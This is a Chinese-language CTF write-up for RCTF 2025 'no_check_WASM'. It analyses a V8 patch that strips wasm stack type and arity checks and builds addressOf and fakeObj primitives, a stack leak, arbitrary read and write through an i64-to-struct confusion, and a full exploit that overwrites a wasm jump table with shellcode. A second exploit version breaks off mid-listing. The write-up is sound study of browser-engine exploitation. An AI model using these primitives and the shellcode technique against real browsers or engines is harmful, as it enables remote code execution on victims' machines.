RCTF 2025 - no_check_WASM

RCTF 2025 - no_check_WASM

目录

前言

pwn2own 24过后,wasm子系统一直是v8漏洞挖掘的热点,这次出到wasm模块相关的内容,因此想着过来看一下,但是比赛的时候笔者有一个步骤卡住了,导致没构造出最后的逃逸原语,可惜可惜

赛后与@Tplus@Qanux师傅交流了下,解决了自己卡住的地方,感谢两位师傅。

基本信息

编译参数是,默认开启沙箱

1
2
3
dcheck_always_on = false
is_debug = false
target_cpu = "x64"

题目下发的commit hash是42f5ff65d12f0ef9294fa7d3875feba938a81904

提交比较新,所以nday bypass的概率很低,就直接分析patch文件

看下文件上传逻辑,算一个hash,然后直接上传,文件大小<102400,应该是考虑到了wasm-module-builder.js的因素,所以这么大

注意这里的启动参数加了一个这个–no-memory-protection-keys,其实是为了防止intel cpu的pkey内存保护,简单的说就是构造出AAR和AAW之后,写一些内存页的时候会crash,详细的内容见这个issue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import sys
import os
import hashlib



def pow():
prefix = "rctf".encode()
target = os.urandom(3).hex().encode()
target_hash = hashlib.sha256(prefix + target).hexdigest()

sys.stdout.write("=== Proof of Work Challenge ===\n")
sys.stdout.write(f"Find a nonce such that SHA-256('{prefix.decode()}' + nonce) == {target_hash}\n")
sys.stdout.write("nonce:")
sys.stdout.flush()
nonce = read_exactly(6).encode()
data = prefix + nonce
current_hash = hashlib.sha256(data).hexdigest()
if current_hash == target_hash:
sys.stdout.write("pow success!\n")
sys.stdout.flush()
return
else:
sys.stdout.write("pow failed!\n")
sys.stdout.flush()
exit(0)

def read_exactly(n):
result = []
remaining = n
while remaining > 0:
data = sys.stdin.read(remaining)
if not data:
break
result.append(data)
remaining -= len(data)
return ''.join(result)

pow()
sys.stdout.write("script size:\n")
sys.stdout.flush()
size = int(sys.stdin.readline().strip())
if size > 102400:
sys.stdout.write("too large!\n")
sys.stdout.flush()
sys.exit(1)
sys.stdout.write("script:\n")
sys.stdout.flush()
script = read_exactly(size)
with open(sys.argv[1], 'w') as f:
f.write(script)

os.system("/home/ctf/d8 --no-memory-protection-keys " + sys.argv[1])

环境搭建一下,方便本地调试

1
2
3
4
5
git reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904
gclient sync -D
git apply < ./patch
gn args out/x64.release

修改编译参数为如下

1
2
3
4
5
6
7
8
9
10
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2

接着autoninja -C out/x64.release d8 编译

漏洞分析

触发漏洞路径

提取下patch内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.h
index b65ba5b9675..163fc536138 100644
--- a/src/wasm/function-body-decoder-impl.h
+++ b/src/wasm/function-body-decoder-impl.h
@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> {
// if the current code is reachable even if it is spec-only reachable.
if (V8_LIKELY(decoding_mode == kConstantExpression ||
!control_.back().unreachable())) {
- if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
- this->DecodeError("expected %u elements on the stack for %s, found %u",
- arity, merge_description, actual);
- return false;
- }
- // Typecheck the topmost {merge->arity} values on the stack.
- Value* stack_values = stack_.end() - arity;
- for (uint32_t i = 0; i < arity; ++i) {
- Value& val = stack_values[i];
- Value& old = (*merge)[i];
- if (!IsSubtypeOf(val.type, old.type, this->module_)) {
- this->DecodeError("type error in %s[%u] (expected %s, got %s)",
- merge_description, i, old.type.name().c_str(),
- val.type.name().c_str());
- return false;
- }
- if constexpr (static_cast<bool>(rewrite_types)) {
- // Upcast type on the stack to the target type of the label.
- val.type = old.type;
- }
- }
+ // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
+ // this->DecodeError("expected %u elements on the stack for %s, found %u",
+ // arity, merge_description, actual);
+ // return false;
+ // }
+ // // Typecheck the topmost {merge->arity} values on the stack.
+ // Value* stack_values = stack_.end() - arity;
+ // for (uint32_t i = 0; i < arity; ++i) {
+ // Value& val = stack_values[i];
+ // Value& old = (*merge)[i];
+ // if (!IsSubtypeOf(val.type, old.type, this->module_)) {
+ // this->DecodeError("type error in %s[%u] (expected %s, got %s)",
+ // merge_description, i, old.type.name().c_str(),
+ // val.type.name().c_str());
+ // return false;
+ // }
+ // if constexpr (static_cast<bool>(rewrite_types)) {
+ // // Upcast type on the stack to the target type of the label.
+ // val.type = old.type;
+ // }
+ // }
return true;
}
// Unreachable code validation starts here.

主要patch的位置在WasmFullDecoder类里,这个类主要负责解析wasm函数体的内容,追下函数TypeCheckStackAgainstMerge_Slow,发现是一个slow path的函数,所以大概率还有fast path判断的逻辑

找到了上层函数,想要进入这slow path的话需要让栈值数量与函数签名不匹配,或者是一些复杂的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
template <StackElementsCountMode strict_count,
PushBranchValues push_branch_values, MergeType merge_type,
RewriteStackTypes rewrite_types>
V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) {
uint32_t arity = merge->arity;
uint32_t actual = stack_.size() - control_.back().stack_depth;
// Handle trivial cases first. Arity 0 is the most common case.
if (arity == 0 && (!strict_count || actual == 0)) return true;
// Arity 1 is still common enough that we handle it separately (only doing
// the most basic subtype check).
if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) {
if (stack_.back().type == merge->vals.first.type) return true;
}
return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values,
merge_type, rewrite_types>(merge);
}

同时也需要注意到这个check是针对于merge point的检查,所以构造某些参数数量正常的函数的时候,需要采用特殊的branch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
enum StackElementsCountMode : bool {
kNonStrictCounting = false,
kStrictCounting = true
};

enum MergeType {
kBranchMerge,
kReturnMerge,
kFallthroughMerge,
kInitExprMerge
};

enum class PushBranchValues : bool {
kNo = false,
kYes = true,
};
enum class RewriteStackTypes : bool {
kNo = false,
kYes = true,
};

// - If the current code is reachable, check if the current stack values are
// compatible with {merge} based on their number and types. If
// {strict_count}, check that #(stack elements) == {merge->arity}, otherwise
// #(stack elements) >= {merge->arity}.
// - If the current code is unreachable, check if any values that may exist on
// top of the stack are compatible with {merge}. If {push_branch_values},
// push back to the stack values based on the type of {merge} (this is
// needed for conditional branches due to their typing rules, and
// fallthroughs so that the outer control finds the expected values on the
// stack). TODO(manoskouk): We expect the unreachable-code behavior to
// change, either due to relaxation of dead code verification, or the
// introduction of subtyping.

那么这里就可以简单构建一个poc,下一个断点来测试一下是否能抵达这个位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var wasm_mode = 1;

if(wasm_mode){
prefix = "../../";
path = "test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(prefix + path);
}

builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32]))
.exportFunc()
.addBody([
]);

const instance = builder.instantiate();
let {poc} = instance.exports;
poc();

其实是可以的

当前的栈回溯(部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> bt
#0 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge_Slow<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5168) at ../../src/wasm/function-body-decoder-impl.h:7879
#1 0x00006344fcec439a in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::TypeCheckStackAgainstMerge<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::PushBranchValues)0, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::RewriteStackTypes)0> (this=0x7ffd209c0b90, merge=0x2bbc00ea5101) at ../../src/wasm/function-body-decoder-impl.h:7860
#2 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:7935
#3 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffd209c0b90, opcode=<optimized out>, trace_msg=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:4036
#4 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffd209c0b90, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943
#5 0x00006344fcec289b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3287
#6 0x00006344fcec0a24 in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::FullValidationTag, v8::internal::wasm::EmptyInterface, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffd209c0b90) at ../../src/wasm/function-body-decoder-impl.h:3110
#7 0x00006344fcec06df in v8::internal::wasm::ValidateFunctionBody (zone=zone@entry=0x7ffd209c0d20, enabled=..., module=<optimized out>, detected=detected@entry=0x7ffd209c0dd0, body=...) at ../../src/wasm/function-body-decoder.cc:80
#8 0x00006344fcf020b6 in v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::ValidateFunction (this=0x2bbc0000c230, func_index=0, zone=0x7ffd209c0d20, detected_features=0x7ffd209c0dd0) at ../../src/wasm/module-decoder.cc:582
#9 v8::internal::wasm::(anonymous namespace)::ValidateFunctionsTask::Run (this=0x2bbc0000c230, delegate=0x7ffd209c0e20) at ../../src/wasm/module-decoder.cc:558
#10 0x00006344fdc0ae16 in v8::platform::DefaultJobState::Join (this=0x2bbc0004ac88) at ../../src/libplatform/default-job.cc:141
#11 0x00006344fdc0b2c3 in v8::platform::DefaultJobHandle::Join (this=0x2bbc0000ad80) at ../../src/libplatform/default-job.cc:231
#12 0x00006344fcef30b0 in v8::internal::wasm::ValidateFunctions(v8::internal::wasm::WasmModule const*, v8::internal::wasm::WasmEnabledFeatures, v8::base::Vector<unsigned char const>, std::__Cr::function<bool (int)>, v8::internal::wasm::WasmDetectedFeatures*) (module=module@entry=0x2bbc00064398, enabled_features=..., wire_bytes=..., filter=..., detected_features_out=0x7ffd209c0f48) at ../../src/wasm/module-decoder.cc:660
#13 0x00006344fcee987b in v8::internal::wasm::(anonymous namespace)::ValidateFunctions (module=0x2bbc00064398, wire_bytes=..., enabled_features=..., only_lazy_functions=<optimized out>, detected_features=0x7ffd209c0f48) at ../../src/wasm/module-compiler.cc:2192
#14 v8::internal::wasm::(anonymous namespace)::ValidateFunctions (native_module=..., only_lazy_functions=<optimized out>) at ../../src/wasm/module-compiler.cc:2200
#15 0x00006344fcee5050 in v8::internal::wasm::(anonymous namespace)::CompileNativeModule (thrower=0x7ffd209c1368, native_module=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2232
#16 v8::internal::wasm::(anonymous namespace)::GetOrCompileNewNativeModule (isolate=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=0x7ffd209c1368, compilation_id=<optimized out>, module=..., wire_bytes=..., context_id=..., pgo_info=<optimized out>) at ../../src/wasm/module-compiler.cc:2340
#17 v8::internal::wasm::CompileToNativeModule (isolate=isolate@entry=0x2bbc00184000, enabled_features=..., detected_features=..., compile_imports=..., thrower=thrower@entry=0x7ffd209c1368, module=..., wire_bytes=..., compilation_id=0, context_id=..., pgo_info=0x0) at ../../src/wasm/module-compiler.cc:2381
#18 0x00006344fcf40ce2 in v8::internal::wasm::WasmEngine::SyncCompile (this=0x2bbc00114118, isolate=0x2bbc00184000, enabled_features=..., compile_imports=..., thrower=0x7ffd209c1368, bytes=...) at ../../src/wasm/wasm-engine.cc:709
#19 0x00006344fcf5a158 in v8::(anonymous namespace)::WebAssemblyModuleImpl (info=...) at ../../src/wasm/wasm-js.cc:879
#20 v8::internal::wasm::WebAssemblyModule (info=...) at ../../src/wasm/wasm-js.cc:3074
#21 0x00006344fc45418f in v8::internal::FunctionCallbackArguments::CallOrConstruct (this=this@entry=0x7ffd209c14e8, function=..., is_construct=<optimized out>) at ../../src/api/api-arguments-inl.h:93
#22 0x00006344fc4538eb in v8::internal::(anonymous namespace)::HandleApiCallHelper<true> (isolate=isolate@entry=0x2bbc00184000, new_target=..., fun_data=..., receiver=..., argv=argv@entry=0x7ffd209c1610, argc=argc@entry=2) at ../../src/builtins/builtins-api.cc:105
#23 0x00006344fc452ffb in v8::internal::Builtin_Impl_HandleApiConstruct (args=..., isolate=0x2bbc00184000) at ../../src/builtins/builtins-api.cc:136
#24 0x00006344fdaac4f6 in Builtins_CEntry_Return1_ArgvOnStack_BuiltinExit ()
#25 0x00006344fda0006a in Builtins_InterpreterPushArgsThenFastConstructFunction ()

那我们的推测是没问题的,构造一个wasm stack的值数量与实际函数签名不符合的情况/或者是一个比较复杂的函数,可以进入到被patch的函数,接着来看patch掉了什么逻辑

WASM函数签名数量混淆

首先被patch掉的是对于wasm stack的值数量与实际函数签名不相等,意味着可以去传递多个参数,也就是说可以通过传递多个返回值的方法去泄漏wasm stack上的内容,泄漏出的值大概率是v8沙箱之外的,这个也可以算上是沙箱逃逸的第一步了

1
2
3
4
5
if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
this->DecodeError("expected %u elements on the stack for %s, found %u",
arity, merge_description, actual);
return false;
}

WASM子系统类型混淆

下发会调用IsSubtypeOf对于stack_values进行类型检查,如果不符合则会报错,详细的实现位于v8/src/wasm/wasm-subtyping.cc:L421

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Typecheck the topmost {merge->arity} values on the stack.
Value* stack_values = stack_.end() - arity;
for (uint32_t i = 0; i < arity; ++i) {
Value& val = stack_values[i];
Value& old = (*merge)[i];
if (!IsSubtypeOf(val.type, old.type, this->module_)) {
this->DecodeError("type error in %s[%u] (expected %s, got %s)",
merge_description, i, old.type.name().c_str(),
val.type.name().c_str());
return false;
}
if constexpr (static_cast<bool>(rewrite_types)) {
// Upcast type on the stack to the target type of the label.
val.type = old.type;
}
}

这里的意思是wasm子类型检查被删去,因此可以实现类似于这样的类型混淆i64→struct。wasm的设计文档其实有很多,这里只是举了一个简单的例子,因此不难想到一些类型混淆的思路,下方的extern可以理解为js中的对象,struct可以通过get和set方式进行取值,也就是类似于指针解引的过程

1
2
3
4
5
6
7
8
9
addressof:
extern i32
fakeobj:
i32 ->extern
AAR:
i64 -> struct
AAW:
struct -> i64

其中AAR和AAW笔者比赛的时候犯了一个错误,在一个函数体中,直接将i64 cast为ref struct,然后直接解引用,这就造成了问题。

当对于一个struct类型进行kExprStructSet或者kExprStructGet操作的时候,会去检查底层的heaptype,因此当直接传入一个i64的值,不进行先进行类型混淆,而是直接cast使用就会造成问题。本质上就是触发了struct.get/set的检查,也并不是对于patch的利用,铸币了

1
2
3
4
5
6
7
8
9
10
11
12
13
V8_INLINE Value Pop(int index, ValueType expected) {
Value value = Pop();
ValidateStackValue(index, value, expected);
return value;
}

V8_INLINE void ValidateStackValue(int index, Value value,
ValueType expected) {
if (!VALIDATE(IsSubtypeOf(value.type, expected, this->module_) ||
value.type == kWasmBottom || expected == kWasmBottom)) {
PopTypeError(index, value, expected);
}
}

而如果提前进行混淆,采用将i64转换成ref struct的方式,这会进入到这个函数

1
2
3
4
5
6
7
8
9
DECODE(CallFunction) {
CallFunctionImmediate imm(this, this->pc_ + 1, validate);
if (!this->Validate(this->pc_ + 1, imm)) return 0;
PoppedArgVector args = PopArgs(imm.sig);
Value* returns = PushReturns(imm.sig);// <-
CALL_INTERFACE_IF_OK_AND_REACHABLE(CallDirect, imm, args.data(), returns);
MarkMightThrow();
return 1 + imm.length;
}

产生如下的调用链,将原本的i64标记为ref struct,因此后续利用的时候可以将这个i64接引,造成沙箱逃逸

1
2
3
4
5
6
7
8
kExprCallFunction
DECODE(CallFunction)
PushReturns
PushValueTypes
Push(ValueType)
CreateValue
Push(Value)

漏洞利用

沙箱内任意读写

这里用到上面提到的思路,当然下方也可以采用i64,这样也方便泄漏出cage_base,也可以通过泄漏indirectcall的函数ref,思路很多

1
2
3
4
addressof:
extern i32
fakeobj:
i32 ->extern

下方就是addressOf和fakeObj的原语,然后leak_cage_base的逻辑其实和addressOf是一致的,leak_cage_base主要是这里没有截断高32位,所以可以泄漏出沙箱的基地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprBlock, kWasmI32,
kExprBr, 0,
kExprEnd,
]);

// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
kExprBlock, 0x40,
kExprLocalGet, 0,
kExprReturn,
kExprEnd,
kExprUnreachable,
]);


builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprBlock, kWasmI64,
kExprBr, 0,
kExprEnd,
]);

泄漏raw_pointer

通过上方的分析,其实我们可以通过参数不匹配的方式去泄漏wasm stack的值,所以这里可以尝试一下能泄漏出什么东西

1
2
3
4
5
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
kExprI64Const, 0,
]);

这里泄漏出了 raw pointer(64-bit C++ 栈地址),通过扫描这个栈区域,可以找到

  • JIT 代码的返回地址
  • 指向 trusted space 的指针
  • …………

AAR && AAW && RCE

与上方分析的一致,这里需要将i64 → struct → i64,这样就可以实现沙箱逃逸,需要注意的是i64 → struct最好单独拆开,写成一个wasm函数供另外的wasm函数调用,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const structType = builder.addStruct([makeField(kWasmI64, true)]);

const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
kExprLocalGet, 0,
]);


builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, cast_function.index,
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, cast_function.index,
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

接着就可以对于泄漏出的栈地址进行扫描,经过测试,可以发现第一个泄露出来的地址位于jit code所在的段,后续计算也发现与trusted_data中的jump_table偏移固定,因此我们可以得到jump_table的具体地址,并修改为我们的shellcode,出于稳定性的考虑,可以在前面加上一个nop指令即可

这里泄漏出来的值与栈偏移处的值并不相等,原因应该是当i64被cast成struct的时候,底层的heaptype等字段被修改,因此实际转换成struct进行取值的时候,会略微有偏差(通过以前阅读src/wasm/*的推测,这次并没有通过源码验证)

exploit

wasm-module-builder版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
var wasm_mode = 1;

if(wasm_mode){
prefix = "../../";
path = "test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(prefix + path);
}

var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}

function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}

function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}

// function stop(){
// console.log("stop...");
// %SystemBreak();
// }

// function p(arg){
// %DebugPrint(arg);
// }

function spin(){
console.log("spin...");
while(true){};
}

function stuck(){
console.log("readline....");
readline();
}

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

const builder = new WasmModuleBuilder();

// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprBlock, kWasmI32,
kExprBr, 0,
kExprEnd,
]);

// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
kExprBlock, 0x40,
kExprLocalGet, 0,
kExprReturn,
kExprEnd,
kExprUnreachable,
]);

builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
kExprI64Const, 0,
]);

const structType = builder.addStruct([makeField(kWasmI64, true)]);

const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
kExprLocalGet, 0,
]);

builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprBlock, kWasmI64,
kExprBr, 0,
kExprEnd,
]);

builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, cast_function.index,
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, cast_function.index,
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

const instance = builder.instantiate();
let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = instance.exports;

let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
logg("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
logg("stack_value", stack_value);

// for(let i = 0; i < 10; i++){
// let test = AAR(stack_value+1n+BigInt(i*0x8));
// logg("test", test);
// }

let jit_code_addr = AAR(stack_value+1n);

let cage_base = leak_cage_base(instance) & ~0xffffffffn;
logg("cage_base", cage_base);
logg("jit_code_addr", jit_code_addr);

const wasm_bytes = new Uint8Array([
0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance_shellcode = new WebAssembly.Instance(mod);
const pwn = instance_shellcode.exports.pwn;

let offset_to_jit = 0x2959n;
let rop_addr = jit_code_addr+offset_to_jit;
// p(instance_shellcode);
logg("rop_addr", rop_addr);

var shellcode = [
10416984888683040912n,
10416984888683040912n,
10416984888683040912n,
10416984888683040912n,
72340172838123592n,
7521907171660923137n,
302101820911791727n,
17740191518968858660n,
21732277098n
];

// var shellcode = [
// 0x4141414141414141n,
// 0x4141414141414141n,
// ];q

pwn(0x1n);

for(let i = 0; i < shellcode.length; i++){
AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]);
}
// stop();
pwn(0x1n);



// spin();

ByteArray版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
var wasm_mode = 0;

if(wasm_mode){
prefix = "../../";
path = "test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(prefix + path);
}

var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}

function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}

function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}

// function stop(){
// console.log("stop...");
// %SystemBreak();
// }

// function p(arg){
// %DebugPrint(arg);
// }

function spin(){
console.log("spin...");
while(true){};
}

function stuck(){
console.log("readline....");
readline();
}

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

const bytes_arr_1 = new Uint8Array([
